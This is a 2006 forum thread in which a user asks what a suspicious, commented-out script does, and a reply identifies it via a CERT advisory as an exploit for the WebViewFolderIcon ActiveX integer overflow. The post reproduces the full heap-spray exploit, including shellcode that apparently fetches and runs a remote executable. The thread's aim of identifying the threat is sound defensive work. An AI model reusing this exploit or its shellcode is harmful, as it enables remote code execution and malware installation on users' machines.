473,386 Members | 1,793 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,386 software developers and data experts.

What is this script doing?

Could someone please give me some idea what this script is doing.

It might be some malicious script that might have been used to spread
virus or to hack username/ password, hence it has been ### so that it
can't be run by default.

thanks.

<!-- <html>
###<body>
###<script>
### var heapSprayToAddress = 0x05050505;
### var shellcode = unescape("%u9090"+"%u9090"+
###"%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u03 20" +
###"%u33f5%u49c9%uad41%udb33%u0f36%u14be%u3828%u74 f2" +
###"%uc108%u0dcb%uda03%ueb40%u3bef%u75df%u5ee7%u5e 8b" +
###"%u0324%u66dd%u0c8b%u8b4b%u1c5e%udd03%u048b%u03 8b" +
###"%uc3c5%u7275%u6d6c%u6e6f%u642e%u6c6c%u4300%u5c 3a" +
###"%u2e55%u7865%u0065%uc033%u0364%u3040%u0c78%u40 8b" +
###"%u8b0c%u1c70%u8bad%u0840%u09eb%u408b%u8d34%u7c 40" +
###"%u408b%u953c%u8ebf%u0e4e%ue8ec%uff84%uffff%uec 83" +
###"%u8304%u242c%uff3c%u95d0%ubf50%u1a36%u702f%u6f e8" +
###"%uffff%u8bff%u2454%u8dfc%uba52%udb33%u5353%ueb 52" +
###"%u5324%ud0ff%ubf5d%ufe98%u0e8a%u53e8%uffff%u83 ff" +
###"%u04ec%u2c83%u6224%ud0ff%u7ebf%ue2d8%ue873%uff 40" +
###"%uffff%uff52%ue8d0%uffd7%uffff%u7468%u7074%u2f 3a" +
###"%u6d2f%u686f%u6973%u776e%u6265%u6973%u6574%u63 2e" +
###"%u2e6f%u6b75%u622f%u6e69%u3264%u652e%u6578%u00 00");
###var heapBlockSize = 0x400000;
###var payLoadSize = shellcode.length * 2;
###var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
###var spraySlide = unescape("%u0505%u0505");
###spraySlide = getSpraySlide(spraySlide,spraySlideSize);
###heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
###memory = new Array();
###
###for (i=0;i<heapBlocks;i++)
###{
### memory[i] = spraySlide + shellcode;
###}
###for ( i = 0 ; i < 128 ; i++)
###{
### try
### {
### var tar = new
ActiveXObject('WebViewFolderIcon.WebViewFolderIcon .1');
### tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
### }
### catch(e){}
###}
###
###function getSpraySlide(spraySlide, spraySlideSize)
###{
### while (spraySlide.length*2<spraySlideSize)
### {
### spraySlide += spraySlide;
### }
### spraySlide = spraySlide.substring(0,spraySlideSize/2);
### return spraySlide;
###}
###
###</script>
###</body>
###</html>
### -->
--

Oct 17 '06 #1
1 2014
V S Rawat <VS*****@Invalid.nonewrote:
Could someone please give me some idea what this script is doing.
[snip]
### var tar = new
ActiveXObject('WebViewFolderIcon.WebViewFolderIcon .1');
### tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 );
"The Microsoft Windows WebViewFolderIcon ActiveX control contains an
integer overflow vulnerability. This may allow a remote, unauthenticated
attacker to execute arbitrary code on a vulnerable system."

in <http://www.kb.cert.org/vuls/id/753044>

--
@@@@@
E -00 comme on est very beaux dis !
' `) /
|\_ =="
Oct 17 '06 #2

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

28
by: Brent Eamer | last post by:
function SetDefaultDate() { d = new Date(); return d; } ........ <TD align=left> Start Date: </TD> <TD align=left> <SELECT name="batchStartDate" size="1" maxlength="50"...
4
by: Paul | last post by:
HI! I have a script that does not seem to work. can someone tell me what I am doing wrong here? <script language="JavaScript"> function firefoxautofix(){ parent.window.resizeBy(-1,-1)...
121
by: typingcat | last post by:
First of all, I'm an Asian and I need to input Japanese, Korean and so on. I've tried many PHP IDEs today, but almost non of them supported Unicode (UTF-8) file. I've found that the only Unicode...
2
by: Miguel Dias Moura | last post by:
Hello, i want to open a new window when a button is clicked. I am working in ASP.net / VB. However my code is not working. This is my Script Code: <script runat="server"> Private Sub...
16
by: SirG | last post by:
I'm looking for an explanation of why one piece of code works and another does not. I have to warn you that this is the first piece of Javascript I've ever written, so if there is a better way or a...
0
by: taylorcarr | last post by:
A Canon printer is a smart device known for being advanced, efficient, and reliable. It is designed for home, office, and hybrid workspace use and can also be used for a variety of purposes. However,...
0
by: Charles Arthur | last post by:
How do i turn on java script on a villaon, callus and itel keypad mobile phone
0
by: aa123db | last post by:
Variable and constants Use var or let for variables and const fror constants. Var foo ='bar'; Let foo ='bar';const baz ='bar'; Functions function $name$ ($parameters$) { } ...
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
0
by: Hystou | last post by:
There are some requirements for setting up RAID: 1. The motherboard and BIOS support RAID configuration. 2. The motherboard has 2 or more available SATA protocol SSD/HDD slots (including MSATA, M.2...
0
by: Hystou | last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.